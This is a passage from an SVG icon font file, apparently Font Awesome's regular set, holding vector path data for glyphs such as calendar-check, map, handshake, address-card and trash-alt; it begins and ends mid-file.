d="M311.7 73.2998l-17 -17c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-53.7002 53.7998l-53.7002 -53.6992c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-17 17c-4.7002 4.69922 -4.7002 12.2998 0 17l53.7002 53.6992l-53.7002 53.7002c-4.7002 4.7002 -4.7002 12.2998 0 17
l17 17c4.7002 4.7002 12.2998 4.7002 17 0l53.7002 -53.7002l53.7002 53.7002c4.7002 4.7002 12.2998 4.7002 17 0l17 -17c4.7002 -4.7002 4.7002 -12.2998 0 -17l-53.7998 -53.7998l53.6992 -53.7002c4.80078 -4.7002 4.80078 -12.2998 0.100586 -17zM448 336v-352
c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48zM400 -10
v298h-352v-298c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="calendar-check" unicode="&#xf274;" horiz-adv-x="448" 
d="M400 384c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-352c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h48v52c0 6.62695 5.37305 12 12 12h40c6.62695 0 12 -5.37305 12 -12v-52h128v52c0 6.62695 5.37305 12 12 12h40
c6.62695 0 12 -5.37305 12 -12v-52h48zM394 -16c3.31152 0 6 2.68848 6 6v298h-352v-298c0 -3.31152 2.68848 -6 6 -6h340zM341.151 184.65l-142.31 -141.169c-4.70508 -4.66699 -12.3027 -4.6377 -16.9707 0.0673828l-75.0908 75.6992
c-4.66699 4.70508 -4.6377 12.3027 0.0673828 16.9707l22.7197 22.5361c4.70508 4.66699 12.3027 4.63672 16.9697 -0.0693359l44.1035 -44.4609l111.072 110.182c4.70508 4.66699 12.3027 4.63672 16.9707 -0.0683594l22.5361 -22.7178
c4.66699 -4.70508 4.63672 -12.3027 -0.0683594 -16.9697z" />
    <glyph glyph-name="map" unicode="&#xf279;" horiz-adv-x="576" 
d="M560.02 416c8.4502 0 15.9805 -6.83008 15.9805 -16.0195v-346.32c0 -11.9609 -9.01367 -25.2705 -20.1201 -29.71l-151.83 -52.8105c-5.32617 -1.7334 -14.1953 -3.13965 -19.7969 -3.13965c-5.7373 0 -14.8105 1.47363 -20.2529 3.29004l-172 60.71l-170.05 -62.8398
c-1.99023 -0.790039 -4 -1.16016 -5.95996 -1.16016c-8.45996 0 -15.9902 6.83008 -15.9902 16.0195v346.32c0.00292969 11.959 9.0166 25.2686 20.1201 29.71l151.83 52.8105c6.43945 2.08984 13.1201 3.13965 19.8096 3.13965
c5.73242 -0.00195312 14.8008 -1.47168 20.2402 -3.28027l172 -60.7197h0.00976562l170.05 62.8398c1.98047 0.790039 4 1.16016 5.95996 1.16016zM224 357.58v-285.97l128 -45.1904v285.97zM48 29.9502l127.36 47.0801l0.639648 0.229492v286.2l-128 -44.5303v-288.979z
M528 65.0801v288.97l-127.36 -47.0693l-0.639648 -0.240234v-286.19z" />
    <glyph glyph-name="comment-alt" unicode="&#xf27a;" 
d="M448 448c35.2998 0 64 -28.7002 64 -64v-288c0 -35.2998 -28.7002 -64 -64 -64h-144l-124.9 -93.5996c-2.19922 -1.7002 -4.69922 -2.40039 -7.09961 -2.40039c-6.2002 0 -12 4.90039 -12 12v84h-96c-35.2998 0 -64 28.7002 -64 64v288c0 35.2998 28.7002 64 64 64h384z
M464 96v288c0 8.7998 -7.2002 16 -16 16h-384c-8.7998 0 -16 -7.2002 -16 -16v-288c0 -8.7998 7.2002 -16 16 -16h144v-60l67.2002 50.4004l12.7998 9.59961h160c8.7998 0 16 7.2002 16 16z" />
    <glyph glyph-name="pause-circle" unicode="&#xf28b;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 -8c110.5 0 200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200zM352 272v-160c0 -8.7998 -7.2002 -16 -16 -16h-48
c-8.7998 0 -16 7.2002 -16 16v160c0 8.7998 7.2002 16 16 16h48c8.7998 0 16 -7.2002 16 -16zM240 272v-160c0 -8.7998 -7.2002 -16 -16 -16h-48c-8.7998 0 -16 7.2002 -16 16v160c0 8.7998 7.2002 16 16 16h48c8.7998 0 16 -7.2002 16 -16z" />
    <glyph glyph-name="stop-circle" unicode="&#xf28d;" 
d="M504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM56 192c0 -110.5 89.5 -200 200 -200s200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200zM352 272v-160c0 -8.7998 -7.2002 -16 -16 -16h-160
c-8.7998 0 -16 7.2002 -16 16v160c0 8.7998 7.2002 16 16 16h160c8.7998 0 16 -7.2002 16 -16z" />
    <glyph glyph-name="handshake" unicode="&#xf2b5;" horiz-adv-x="640" 
d="M519.2 320.1h120.8v-255.699h-64c-17.5 0 -31.7998 14.1992 -31.9004 31.6992h-57.8994c-1.7998 -8.19922 -5.2998 -16.0996 -10.9004 -23l-26.2002 -32.2998c-15.7998 -19.3994 -41.8994 -25.5 -64 -16.7998c-13.5 -16.5996 -30.5996 -24 -48.7998 -24
c-15.0996 0 -28.5996 5.09961 -41.0996 15.9004c-31.7998 -21.9004 -74.7002 -21.3008 -105.601 3.7998l-84.5996 76.3994h-9.09961c-0.100586 -17.5 -14.3008 -31.6992 -31.9004 -31.6992h-64v255.699h118l47.5996 47.6006c10.5 10.3994 24.8008 16.2998 39.6006 16.2998
h226.8v0c12.7812 0 30.5225 -7.30273 39.5996 -16.2998zM48 96.4004c8.7998 0 16 7.09961 16 16c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.80078 7.2002 -16 16 -16zM438 103.3c2.7002 3.40039 2.2002 8.5 -1.2002 11.2998l-108.2 87.8008l-8.19922 -7.5
c-40.3008 -36.8008 -86.7002 -11.8008 -101.5 4.39941c-26.7002 29 -25 74.4004 4.39941 101.3l38.7002 35.5h-56.7002c-2 -0.799805 -3.7002 -1.5 -5.7002 -2.2998l-61.6992 -61.5996h-41.9004v-128.101h27.7002l97.2998 -88
c16.0996 -13.0996 41.4004 -10.5 55.2998 6.60059l15.6006 19.2002l36.7998 -31.5c3 -2.40039 12 -4.90039 18 2.39941l30 36.5l23.8994 -19.3994c3.5 -2.80078 8.5 -2.2002 11.3008 1.19922zM544 144.1v128h-44.7002l-61.7002 61.6006
c-1.39941 1.5 -3.39941 2.2998 -5.5 2.2998l-83.6992 -0.200195c-10 0 -19.6006 -3.7002 -27 -10.5l-65.6006 -60.0996c-9.7002 -8.7998 -10.5 -24 -1.2002 -33.9004c8.90039 -9.39941 25.1006 -8.7002 34.6006 0l55.2002 50.6006c6.5 5.89941 16.5996 5.5 22.5996 -1
l10.9004 -11.7002c6 -6.5 5.5 -16.6006 -1 -22.6006l-12.5 -11.3994l102.699 -83.4004c2.80078 -2.2998 5.40039 -4.89941 7.7002 -7.7002h69.2002zM592 96.4004c8.7998 0 16 7.09961 16 16c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.80078 7.2002 -16 16 -16z
" />
    <glyph glyph-name="envelope-open" unicode="&#xf2b6;" 
d="M494.586 283.484c9.6123 -7.94824 17.4141 -24.5205 17.4141 -36.9932v-262.491c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v262.515c0 12.5166 7.84668 29.1279 17.5146 37.0771c4.08008 3.35449 110.688 89.0996 135.15 108.549
c22.6992 18.1426 60.1299 55.8594 103.335 55.8594c43.4365 0 81.2314 -38.1914 103.335 -55.8594c23.5283 -18.707 130.554 -104.773 135.251 -108.656zM464 -10v253.632v0.00488281c0 1.5791 -0.996094 3.66602 -2.22363 4.6582
c-15.8633 12.8232 -108.793 87.5752 -132.366 106.316c-17.5527 14.0195 -49.7168 45.3887 -73.4102 45.3887c-23.6016 0 -55.2451 -30.8799 -73.4102 -45.3887c-23.5713 -18.7393 -116.494 -93.4795 -132.364 -106.293
c-1.40918 -1.13965 -2.22559 -2.85254 -2.22559 -4.66504v-253.653c0 -3.31152 2.68848 -6 6 -6h404c3.31152 0 6 2.68848 6 6zM432.009 177.704c4.24902 -5.15918 3.46484 -12.7949 -1.74512 -16.9814c-28.9746 -23.2822 -59.2734 -47.5967 -70.9287 -56.8623
c-22.6992 -18.1436 -60.1299 -55.8604 -103.335 -55.8604c-43.4521 0 -81.2871 38.2373 -103.335 55.8604c-11.2793 8.9668 -41.7441 33.4131 -70.9268 56.8643c-5.20996 4.1875 -5.99316 11.8223 -1.74512 16.9814l15.2578 18.5283
c4.17773 5.07227 11.6572 5.84277 16.7793 1.72559c28.6182 -23.001 58.5654 -47.0352 70.5596 -56.5713c17.5527 -14.0195 49.7168 -45.3887 73.4102 -45.3887c23.6016 0 55.2461 30.8799 73.4102 45.3887c11.9941 9.53516 41.9434 33.5703 70.5625 56.5684
c5.12207 4.11621 12.6016 3.3457 16.7783 -1.72656z" />
    <glyph glyph-name="address-book" unicode="&#xf2b9;" horiz-adv-x="448" 
d="M436 288h-20v-64h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-20v-64h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-20v-48c0 -26.5 -21.5 -48 -48 -48h-320c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48
h320c26.5 0 48 -21.5 48 -48v-48h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12zM368 -16v416h-320v-416h320zM208 192c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM118.4 64
c-12.4004 0 -22.4004 8.59961 -22.4004 19.2002v19.2002c0 31.7998 30.0996 57.5996 67.2002 57.5996c11.3994 0 17.8994 -8 44.7998 -8c26.0996 0 34 8 44.7998 8c37.1006 0 67.2002 -25.7998 67.2002 -57.5996v-19.2002c0 -10.6006 -10 -19.2002 -22.4004 -19.2002
h-179.199z" />
    <glyph glyph-name="address-card" unicode="&#xf2bb;" horiz-adv-x="576" 
d="M528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480zM528 16v352h-480v-352h480zM208 192c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64z
M118.4 64c-12.4004 0 -22.4004 8.59961 -22.4004 19.2002v19.2002c0 31.7998 30.0996 57.5996 67.2002 57.5996c11.3994 0 17.8994 -8 44.7998 -8c26.0996 0 34 8 44.7998 8c37.1006 0 67.2002 -25.7998 67.2002 -57.5996v-19.2002
c0 -10.6006 -10 -19.2002 -22.4004 -19.2002h-179.199zM360 128c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112c4.40039 0 8 -3.59961 8 -8v-16c0 -4.40039 -3.59961 -8 -8 -8h-112zM360 192c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112
c4.40039 0 8 -3.59961 8 -8v-16c0 -4.40039 -3.59961 -8 -8 -8h-112zM360 256c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112c4.40039 0 8 -3.59961 8 -8v-16c0 -4.40039 -3.59961 -8 -8 -8h-112z" />
    <glyph glyph-name="user-circle" unicode="&#xf2bd;" horiz-adv-x="496" 
d="M248 344c53 0 96 -43 96 -96s-43 -96 -96 -96s-96 43 -96 96s43 96 96 96zM248 200c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8
c49.7002 0 95.0996 18.2998 130.1 48.4004c-14.8994 23 -40.3994 38.5 -69.5996 39.5c-20.7998 -6.5 -40.5996 -9.60059 -60.5 -9.60059s-39.7002 3.2002 -60.5 9.60059c-29.2002 -0.900391 -54.7002 -16.5 -69.5996 -39.5c35 -30.1006 80.3994 -48.4004 130.1 -48.4004z
M410.7 76.0996c23.3994 32.7002 37.2998 72.7002 37.2998 115.9c0 110.3 -89.7002 200 -200 200s-200 -89.7002 -200 -200c0 -43.2002 13.9004 -83.2002 37.2998 -115.9c24.5 31.4004 62.2002 51.9004 105.101 51.9004c10.1992 0 26.0996 -9.59961 57.5996 -9.59961
c31.5996 0 47.4004 9.59961 57.5996 9.59961c43 0 80.7002 -20.5 105.101 -51.9004z" />
    <glyph glyph-name="id-badge" unicode="&#xf2c1;" horiz-adv-x="384" 
d="M336 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h288zM336 -16v416h-288v-416h288zM144 336c-8.7998 0 -16 7.2002 -16 16s7.2002 16 16 16h96c8.7998 0 16 -7.2002 16 -16s-7.2002 -16 -16 -16
h-96zM192 160c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64zM102.4 32c-12.4004 0 -22.4004 8.59961 -22.4004 19.2002v19.2002c0 31.7998 30.0996 57.5996 67.2002 57.5996c11.3994 0 17.8994 -8 44.7998 -8
c26.0996 0 34 8 44.7998 8c37.1006 0 67.2002 -25.7998 67.2002 -57.5996v-19.2002c0 -10.6006 -10 -19.2002 -22.4004 -19.2002h-179.199z" />
    <glyph glyph-name="id-card" unicode="&#xf2c2;" horiz-adv-x="576" 
d="M528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480zM528 16v288h-480v-288h32.7998c-1 4.5 -0.799805 -3.59961 -0.799805 22.4004c0 31.7998 30.0996 57.5996 67.2002 57.5996
c11.3994 0 17.8994 -8 44.7998 -8c26.0996 0 34 8 44.7998 8c37.1006 0 67.2002 -25.7998 67.2002 -57.5996c0 -26 0.0996094 -17.9004 -0.799805 -22.4004h224.8zM360 96c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112c4.40039 0 8 -3.59961 8 -8v-16
c0 -4.40039 -3.59961 -8 -8 -8h-112zM360 160c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112c4.40039 0 8 -3.59961 8 -8v-16c0 -4.40039 -3.59961 -8 -8 -8h-112zM360 224c-4.40039 0 -8 3.59961 -8 8v16c0 4.40039 3.59961 8 8 8h112
c4.40039 0 8 -3.59961 8 -8v-16c0 -4.40039 -3.59961 -8 -8 -8h-112zM192 128c-35.2998 0 -64 28.7002 -64 64s28.7002 64 64 64s64 -28.7002 64 -64s-28.7002 -64 -64 -64z" />
    <glyph glyph-name="window-maximize" unicode="&#xf2d0;" 
d="M464 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h416zM464 22v234h-416v-234c0 -3.2998 2.7002 -6 6 -6h404c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="window-minimize" unicode="&#xf2d1;" 
d="M480 -32h-448c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32h448c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32z" />
    <glyph glyph-name="window-restore" unicode="&#xf2d2;" 
d="M464 448c26.5 0 48 -21.5 48 -48v-320c0 -26.5 -21.5 -48 -48 -48h-48v-48c0 -26.5 -21.5 -48 -48 -48h-320c-26.5 0 -48 21.5 -48 48v320c0 26.5 21.5 48 48 48h48v48c0 26.5 21.5 48 48 48h320zM368 -16v208h-320v-208h320zM464 80v320h-320v-48h224
c26.5 0 48 -21.5 48 -48v-224h48z" />
    <glyph glyph-name="snowflake" unicode="&#xf2dc;" horiz-adv-x="448" 
d="M440.1 92.7998c7.60059 -4.39941 10.1006 -14.2002 5.5 -21.7002l-7.89941 -13.8994c-4.40039 -7.7002 -14 -10.2998 -21.5 -5.90039l-39.2002 23l9.09961 -34.7002c2.30078 -8.5 -2.69922 -17.2998 -11.0996 -19.5996l-15.2002 -4.09961
c-8.39941 -2.30078 -17.0996 2.7998 -19.2998 11.2998l-21.2998 81l-71.9004 42.2002v-84.5l58.2998 -59.3008c6.10059 -6.19922 6.10059 -16.3994 0 -22.5996l-11.0996 -11.2998c-6.09961 -6.2002 -16.0996 -6.2002 -22.2002 0l-24.8994 25.3994v-46.0996
c0 -8.7998 -7 -16 -15.7002 -16h-15.7002c-8.7002 0 -15.7002 7.2002 -15.7002 16v45.9004l-24.8994 -25.4004c-6.10059 -6.2002 -16.1006 -6.2002 -22.2002 0l-11.1006 11.2998c-6.09961 6.2002 -6.09961 16.4004 0 22.6006l58.3008 59.2998v84.5l-71.9004 -42.2002
l-21.2998 -81c-2.2998 -8.5 -10.9004 -13.5996 -19.2998 -11.2998l-15.2002 4.09961c-8.40039 2.2998 -13.2998 11.1006 -11.1006 19.6006l9.10059 34.6992l-39.2002 -23c-7.5 -4.39941 -17.2002 -1.7998 -21.5 5.90039l-7.90039 13.9004
c-4.2998 7.69922 -1.69922 17.5 5.80078 21.8994l39.1992 23l-34.0996 9.2998c-8.40039 2.30078 -13.2998 11.1006 -11.0996 19.6006l4.09961 15.5c2.2998 8.5 10.9004 13.5996 19.2998 11.2998l79.7002 -21.7002l71.9004 42.2002l-71.9004 42.2002l-79.7002 -21.7002
c-8.39941 -2.2998 -17.0996 2.7998 -19.2998 11.2998l-4.09961 15.5c-2.30078 8.5 2.69922 17.2998 11.0996 19.6006l34.0996 9.09961l-39.1992 23c-7.60059 4.5 -10.1006 14.2002 -5.80078 21.9004l7.90039 13.8994c4.40039 7.7002 14 10.2998 21.5 5.90039l39.2002 -23
l-9.10059 34.7002c-2.2998 8.5 2.7002 17.2998 11.1006 19.5996l15.2002 4.09961c8.39941 2.30078 17.0996 -2.7998 19.2998 -11.2998l21.2998 -81l71.9004 -42.2002v84.5l-58.3008 59.3008c-6.09961 6.19922 -6.09961 16.3994 0 22.5996l11.5 11.2998
c6.10059 6.2002 16.1006 6.2002 22.2002 0l24.9004 -25.3994v46.0996c0 8.7998 7 16 15.7002 16h15.6992c8.7002 0 15.7002 -7.2002 15.7002 -16v-45.9004l24.9004 25.4004c6.09961 6.2002 16.0996 6.2002 22.2002 0l11.0996 -11.2998
c6.09961 -6.2002 6.09961 -16.4004 0 -22.6006l-58.2998 -59.2998v-84.5l71.8994 42.2002l21.3008 81c2.2998 8.5 10.8994 13.5996 19.2998 11.2998l15.2002 -4.09961c8.39941 -2.2998 13.2998 -11.1006 11.0996 -19.6006l-9.09961 -34.6992l39.1992 23
c7.5 4.39941 17.2002 1.7998 21.5 -5.90039l7.90039 -13.9004c4.2998 -7.69922 1.7002 -17.5 -5.7998 -21.8994l-39.2002 -23l34.0996 -9.2998c8.40039 -2.30078 13.3008 -11.1006 11.1006 -19.6006l-4.10059 -15.5c-2.2998 -8.5 -10.8994 -13.5996 -19.2998 -11.2998
l-79.7002 21.7002l-71.8994 -42.2002l71.7998 -42.2002l79.7002 21.7002c8.39941 2.2998 17.0996 -2.7998 19.2998 -11.2998l4.09961 -15.5c2.30078 -8.5 -2.69922 -17.2998 -11.0996 -19.6006l-34.0996 -9.2998z" />
    <glyph glyph-name="trash-alt" unicode="&#xf2ed;" horiz-adv-x="448" 
d="M268 32c-6.62402 0 -12 5.37598 -12 12v216c0 6.62402 5.37598 12 12 12h24c6.62402 0 12 -5.37598 12 -12v-216c0 -6.62402 -5.37598 -12 -12 -12h-24zM432 368c8.83203 0 16 -7.16797 16 -16v-16c0 -8.83203 -7.16797 -16 -16 -16h-16v-336
c0 -26.4961 -21.5039 -48 -48 -48h-288c-26.4961 0 -48 21.5039 -48 48v336h-16c-8.83203 0 -16 7.16797 -16 16v16c0 8.83203 7.16797 16 16 16h82.4102l34.0195 56.7002c7.71875 12.8613 26.1572 23.2998 41.1572 23.2998h0.00292969h100.82h0.0224609
c15 0 33.4385 -10.4385 41.1572 -23.2998l34 -56.7002h82.4102zM171.84 397.09l-17.4502 -29.0898h139.221l-17.46 29.0898c-0.96582 1.60645 -3.26953 2.91016 -5.14355 2.91016h-0.00683594h-94h-0.0166016c-1.87402 0 -4.17871 -1.30371 -5.14355 -2.91016zM368 -16v336
h-288v-336h288zM156 32c-6.62402 0 -12 5.37598 -12 12v216c0 6.62402 5.37598 12 12 12h24c6.62402 0 12 -5.37598 12 -12v-216c0 -6.62402 -5.37598 -12 -12 -12h-24z" />
    <glyph glyph-name="images" unicode="&#xf302;" horiz-adv-x="576" 
d="M480 32v-16c0 -26.5098 -21.4902 -48 -48 -48h-384c-26.5098 0 -48 21.4902 -48 48v256c0 26.5098 21.4902 48 48 48h16v-48h-10c-3.31152 0 -6 -2.68848 -6 -6v-244c0 -3.31152 2.68848 -6 6 -6h372c3.31152 0 6 2.68848 6 6v10h48zM522 368h-372
c-3.31152 0 -6 -2.68848 -6 -6v-244c0 -3.31152 2.68848 -6 6 -6h372c3.31152 0 6 2.68848 6 6v244c0 3.31152 -2.68848 6 -6 6zM528 416c26.5098 0 48 -21.4902 48 -48v-256c0 -26.5098 -21.4902 -48 -48 -48h-384c-26.5098 0 -48 21.4902 -48 48v256
c0 26.5098 21.4902 48 48 48h384zM264 304c0 -22.0908 -17.9092 -40 -40 -40s-40 17.9092 -40 40s17.9092 40 40 40s40 -17.9092 40 -40zM192 208l39.5146 39.5146c4.68652 4.68652 12.2842 4.68652 16.9717 0l39.5137 -39.5146l103.515 103.515
c4.68652 4.68652 12.2842 4.68652 16.9717 0l71.5137 -71.5146v-80h-288v48z" />
    <glyph glyph-name="clipboard" unicode="&#xf328;" horiz-adv-x="384" 
d="M336 384c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h80c0 35.2998 28.7002 64 64 64s64 -28.7002 64 -64h80zM192 408c-13.2998 0 -24 -10.7002 -24 -24s10.7002 -24 24 -24s24 10.7002 24 24
s-10.7002 24 -24 24zM336 -10v340c0 3.2998 -2.7002 6 -6 6h-42v-36c0 -6.59961 -5.40039 -12 -12 -12h-168c-6.59961 0 -12 5.40039 -12 12v36h-42c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h276c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="arrow-alt-circle-down" unicode="&#xf358;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 -8c110.5 0 200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200zM224 308c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-116
h67c10.7002 0 16.0996 -12.9004 8.5 -20.5l-99 -99c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-99 99c-7.5 7.59961 -2.2002 20.5 8.5 20.5h67v116z" />
    <glyph glyph-name="arrow-alt-circle-left" unicode="&#xf359;" 
d="M8 192c0 137 111 248 248 248s248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248zM456 192c0 110.5 -89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200s200 89.5 200 200zM384 212v-40c0 -6.59961 -5.40039 -12 -12 -12h-116v-67
c0 -10.7002 -12.9004 -16 -20.5 -8.5l-99 99c-4.7002 4.7002 -4.7002 12.2998 0 17l99 99c7.59961 7.59961 20.5 2.2002 20.5 -8.5v-67h116c6.59961 0 12 -5.40039 12 -12z" />
    <glyph glyph-name="arrow-alt-circle-right" unicode="&#xf35a;" 
d="M504 192c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248s248 -111 248 -248zM56 192c0 -110.5 89.5 -200 200 -200s200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200zM128 172v40c0 6.59961 5.40039 12 12 12h116v67
c0 10.7002 12.9004 16 20.5 8.5l99 -99c4.7002 -4.7002 4.7002 -12.2998 0 -17l-99 -99c-7.59961 -7.59961 -20.5 -2.2002 -20.5 8.5v67h-116c-6.59961 0 -12 5.40039 -12 12z" />
    <glyph glyph-name="arrow-alt-circle-up" unicode="&#xf35b;" 
d="M256 -56c-137 0 -248 111 -248 248s111 248 248 248s248 -111 248 -248s-111 -248 -248 -248zM256 392c-110.5 0 -200 -89.5 -200 -200s89.5 -200 200 -200s200 89.5 200 200s-89.5 200 -200 200zM276 64h-40c-6.59961 0 -12 5.40039 -12 12v116h-67
c-10.7002 0 -16 12.9004 -8.5 20.5l99 99c4.7002 4.7002 12.2998 4.7002 17 0l99 -99c7.59961 -7.59961 2.2002 -20.5 -8.5 -20.5h-67v-116c0 -6.59961 -5.40039 -12 -12 -12z" />
    <glyph glyph-name="gem" unicode="&#xf3a5;" horiz-adv-x="576" 
d="M464 448c4.09961 0 7.7998 -2 10.0996 -5.40039l99.9004 -147.199c2.90039 -4.40039 2.59961 -10.1006 -0.700195 -14.2002l-276 -340.8c-4.7998 -5.90039 -13.7998 -5.90039 -18.5996 0l-276 340.8c-3.2998 4 -3.60059 9.7998 -0.700195 14.2002l100 147.199
c2.2002 3.40039 6 5.40039 10 5.40039h352zM444.7 400h-56.7998l51.6992 -96h68.4004zM242.6 400l-51.5996 -96h194l-51.7002 96h-90.7002zM131.3 400l-63.2998 -96h68.4004l51.6992 96h-56.7998zM88.2998 256l119.7 -160l-68.2998 160h-51.4004zM191.2 256l96.7998 -243.3
l96.7998 243.3h-193.6zM368 96l119.6 160h-51.3994z" />
    <glyph glyph-name="money-bill-alt" unicode="&#xf3d1;" horiz-adv-x="640" 
d="M320 304c53.0195 0 96 -50.1396 96 -112c0 -61.8701 -43 -112 -96 -112c-53.0195 0 -96 50.1504 -96 112c0 61.8604 42.9805 112 96 112zM360 136v16c0 4.41992 -3.58008 8 -8 8h-16v88c0 4.41992 -3.58008 8 -8 8h-13.5801h-0.000976562
c-4.01074 0 -9.97266 -1.80566 -13.3086 -4.03027l-15.3301 -10.2197c-1.96777 -1.30957 -3.56445 -4.29004 -3.56445 -6.65332c0 -1.33691 0.601562 -3.32422 1.34375 -4.43652l8.88086 -13.3105c1.30859 -1.9668 4.29004 -3.56445 6.65332 -3.56445
c1.33691 0 3.32422 0.602539 4.43652 1.34473l0.469727 0.310547v-55.4404h-16c-4.41992 0 -8 -3.58008 -8 -8v-16c0 -4.41992 3.58008 -8 8 -8h64c4.41992 0 8 3.58008 8 8zM608 384c17.6699 0 32 -14.3301 32 -32v-320c0 -17.6699 -14.3301 -32 -32 -32h-576
c-17.6699 0 -32 14.3301 -32 32v320c0 17.6699 14.3301 32 32 32h576zM592 112v160c-35.3496 0 -64 28.6504 -64 64h-416c0 -35.3496 -28.6504 -64 -64 -64v-160c35.3496 0 64 -28.6504 64 -64h416c0 35.3496 28.6504 64 64 64z" />
    <glyph glyph-name="window-close" unicode="&#xf410;" 
d="M464 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h416zM464 22v340c0 3.2998 -2.7002 6 -6 6h-404c-3.2998 0 -6 -2.7002 -6 -6v-340c0 -3.2998 2.7002 -6 6 -6h404c3.2998 0 6 2.7002 6 6z
M356.5 253.4l-61.4004 -61.4004l61.4004 -61.4004c4.59961 -4.59961 4.59961 -12.0996 0 -16.7998l-22.2998 -22.2998c-4.60059 -4.59961 -12.1006 -4.59961 -16.7998 0l-61.4004 61.4004l-61.4004 -61.4004c-4.59961 -4.59961 -12.0996 -4.59961 -16.7998 0
l-22.2998 22.2998c-4.59961 4.60059 -4.59961 12.1006 0 16.7998l61.4004 61.4004l-61.4004 61.4004c-4.59961 4.59961 -4.59961 12.0996 0 16.7998l22.2998 22.2998c4.60059 4.59961 12.1006 4.59961 16.7998 0l61.4004 -61.4004l61.4004 61.4004
c4.59961 4.59961 12.0996 4.59961 16.7998 0l22.2998 -22.2998c4.7002 -4.60059 4.7002 -12.1006 0 -16.7998z" />
    <glyph glyph-name="comment-dots" unicode="&#xf4ad;" 
d="M144 240c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM256 240c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM368 240c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32
s-32 14.2998 -32 32s14.2998 32 32 32zM256 416c141.4 0 256 -93.0996 256 -208s-114.6 -208 -256 -208c-32.7998 0 -64 5.2002 -92.9004 14.2998c-29.0996 -20.5996 -77.5996 -46.2998 -139.1 -46.2998c-9.59961 0 -18.2998 5.7002 -22.0996 14.5
c-3.80078 8.7998 -2 19 4.59961 26c0.5 0.400391 31.5 33.7998 46.4004 73.2002c-33 35.0996 -52.9004 78.7002 -52.9004 126.3c0 114.9 114.6 208 256 208zM256 48c114.7 0 208 71.7998 208 160s-93.2998 160 -208 160s-208 -71.7998 -208 -160
